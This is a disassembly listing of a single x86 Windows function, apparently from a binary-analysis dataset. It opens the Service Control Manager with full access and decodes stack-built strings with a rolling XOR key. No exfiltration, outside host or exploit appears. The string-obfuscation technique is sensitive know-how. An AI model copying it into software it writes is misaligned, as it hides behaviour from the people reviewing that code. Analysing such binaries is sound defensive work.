Function at 0x485ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x79eee3
mov eax, dword fs:[0]
push eax
sub esp, 0x39c
mov eax, dword [0x831184]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
movups xmmword [ebp - 0x84], xmm0
movups xmmword [ebp - 0x74], xmm0
call fcn.00411040
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
mov ecx, edi
call fcn.00484ad0
push eax
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.00404120
lea edx, [ebp - 0x84]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x244]
call fcn.00578810
lea ecx, [ebp - 0x244]
call fcn.00404490
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.00404490
cmp byte [edi + 0x180], 0
mov ecx, 0xda
je 0x485d2e
push 0xf003f
push 0
push 0
mov byte [ebp - 4], 3
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
jne 0x485c9b
mov eax, 0x14
mov dword [ebp - 0x60], 0xda00e6
mov dword [ebp - 0x64], eax
xor ecx, ecx
mov dword [ebp - 0x5c], 0xc200ce
mov dword [ebp - 0x58], 0xed00fe
mov dword [ebp - 0x54], 0xd100e2
mov dword [ebp - 0x50], 0xd300df
mov dword [ebp - 0x4c], 0xd100d4
mov dword [ebp - 0x48], 0x9600c7
mov dword [ebp - 0x44], 0xd900d1
mov dword [ebp - 0x40], 0xd600d0
mov dword [ebp - 0x3c], 0xd800de
mov dword [ebp - 0x38], 0xbd
nop
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x60], ax
inc ecx
mov eax, dword [ebp - 0x64]
cmp ecx, eax
jb 0x485c00
xor ecx, ecx
mov dword [ebp - 0x234], 7
mov word [ebp + eax*2 - 0x60], cx
xor eax, eax
mov dword [ebp - 0x238], ecx
lea ecx, [ebp - 0x60]
mov word [ebp - 0x248], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x485c40
sub ecx, edx
lea eax, [ebp - 0x60]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x248]
call fcn.004044f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x230], eax
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x34]
call fcn.00404120
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
call fcn.00404490
mov cl, byte [ebp - 0x18]
jmp 0x485ca4
xor cl, cl
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x18], cl
mov byte [ebp - 4], 5
test cl, cl
jne 0x485cfa
lea eax, [edi + 0x138]
push eax
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x14]
call fcn.00421280
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x88]
test al, al
js 0x485cf4
movsx eax, al
lea ecx, [ebp - 0x1fd]
push ecx
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0x1fd], 0
push ecx
mov eax, dword [eax*4 + 0x7d76e8]
call eax
add esp, 8
mov cl, byte [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov byte [ebp - 4], 7
test cl, cl
js 0x485d23
movsx eax, cl
lea ecx, [ebp - 0x1fd]
push ecx
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x1fd], 0
push ecx
mov eax, dword [eax*4 + 0x7d76e8]
call eax
add esp, 8
push esi
mov byte [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [edi + 0x1e4], 0
je 0x48616a
mov dword [ebp - 0x22c], 7
xor ecx, ecx
mov dword [ebp - 0x228], 0xce0086
mov dword [ebp - 0x224], 0xc000ce
mov dword [ebp - 0x220], 0xda00c8
mov dword [ebp - 0x21c], 0xb000ca
nop
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x228], ax
inc ecx
mov eax, dword [ebp - 0x22c]
cmp ecx, eax
jb 0x485d70
xor ecx, ecx
mov word [ebp + eax*2 - 0x228], cx
lea eax, [ebp - 0x228]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x318]
push 0x7cf388
lea eax, [ebp - 0x14]
push eax
call fcn.00486b40
push 0x7cf388
push 0x7d9e24
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 8
call fcn.004486e0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2b8]
push 3
xor eax, eax
mov dword [ebp - 0x2a8], 0
push 0x7d9df8
mov dword [ebp - 0x2a4], 7
mov word [ebp - 0x2b8], ax
call fcn.004044f0
lea eax, [edi + 0x1b4]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00404120
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x318]
push eax
push ecx
lea ecx, [ebp - 0x268]
call fcn.004481b0
mov byte [ebp - 4], 0xc
mov eax, 8
mov dword [ebp - 0x218], eax
xor ecx, ecx
mov dword [ebp - 0x214], 0xc900da
mov dword [ebp - 0x210], 0xd800c3
mov dword [ebp - 0x20c], 0xdd00cc
mov dword [ebp - 0x208], 0xc300c4
mov dword [ebp - 0x204], 0xb1
nop dword [eax]
nop word [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x214], ax
inc ecx
mov eax, dword [ebp - 0x218]
cmp ecx, eax
jb 0x485e80
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov word [ebp + eax*2 - 0x214], cx
xor eax, eax
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x214]
mov word [ebp - 0x2c], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x485ec0
sub ecx, edx
lea eax, [ebp - 0x214]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.004044f0
push 0
lea eax, [ebp - 0x268]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.00421920
add esp, 0x10
lea ecx, [ebp - 0x2c]
call fcn.00404490
lea ecx, [ebp - 0x268]
call fcn.00446810
push fcn.00420a60
push 3
push 0x30
lea eax, [ebp - 0x318]
mov byte [ebp - 4], 0x11
push eax
call fcn.0076e7c5
mov dword [ebp - 0x214], 7
xor ecx, ecx
mov dword [ebp - 0x210], 0xce0086
mov dword [ebp - 0x20c], 0xc000ce
mov dword [ebp - 0x208], 0xda00c8
mov dword [ebp - 0x204], 0xb000ca
nop dword [eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x210], ax
inc ecx
mov eax, dword [ebp - 0x214]
cmp ecx, eax
jb 0x485f60
xor ecx, ecx
mov word [ebp + eax*2 - 0x210], cx
lea eax, [ebp - 0x210]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x3a8]
push 0x7cf388
lea eax, [ebp - 0x14]
push eax
call fcn.00486b40
push 0x7cf388
push 0x7d9e24
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0x12
call fcn.004486e0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x348]
push 3
xor eax, eax
mov dword [ebp - 0x338], 0
push 0x7d9df8
mov dword [ebp - 0x334], 7
mov word [ebp - 0x348], ax
call fcn.004044f0
lea eax, [edi + 0x19c]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x330]
call fcn.00404120
lea eax, [ebp - 0x318]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3a8]
push eax
push ecx
lea ecx, [ebp - 0x288]
call fcn.004481b0
mov byte [ebp - 4], 0x16
mov eax, 8
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov dword [ebp - 0x28], 0xc900da
mov dword [ebp - 0x24], 0xd800c3
mov dword [ebp - 0x20], 0xdd00cc
mov dword [ebp - 0x1c], 0xc300c4
mov dword [ebp - 0x18], 0xb1
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x28], ax
inc ecx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
jb 0x486050
xor ecx, ecx
mov dword [ebp - 0x230], 7
mov word [ebp + eax*2 - 0x28], cx
xor eax, eax
mov dword [ebp - 0x234], ecx
lea ecx, [ebp - 0x28]
mov word [ebp - 0x244], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x486090
sub ecx, edx
lea eax, [ebp - 0x28]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x244]
call fcn.004044f0
push 0
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00421920
add esp, 0x10
mov byte [ebp - 4], 0x18
mov al, byte [ebp - 0x88]
test al, al
js 0x486104
movsx eax, al
lea ecx, [ebp - 0x1fd]
push ecx
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0x1fd], 0
push ecx
mov eax, dword [eax*4 + 0x7d76e8]
call eax
add esp, 8
lea ecx, [ebp - 0x244]
mov byte [ebp - 0x88], 0xff
call fcn.00404490
lea ecx, [ebp - 0x288]
call fcn.00446810
push fcn.00420a60
push 3
push 0x30
lea eax, [ebp - 0x3a8]
mov byte [ebp - 4], 0x11
push eax
call fcn.0076e7c5
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x38]
test al, al
js 0x486166
movsx eax, al
lea ecx, [ebp - 0x1fd]
push ecx
lea ecx, [ebp - 0x54]
mov byte [ebp - 0x1fd], 0
push ecx
mov eax, dword [eax*4 + 0x7d76e8]
call eax
add esp, 8
mov byte [ebp - 4], 0
push 0x158
lea eax, [ebp - 0x1fc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x1fc]
mov eax, esp
push edi
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00483b50
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x1a
call fcn.004848c0
lea ecx, [ebp - 0x1fc]
call fcn.00485a40
mov edx, dword [ebp - 0x7c]
push ecx
mov ecx, dword [ebp - 0x80]
call fcn.00413a10
mov eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x80]
add esp, 4
mov dword [ebp - 0x7c], eax
call fcn.004132d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0076eb7e
mov esp, ebp
pop ebp
ret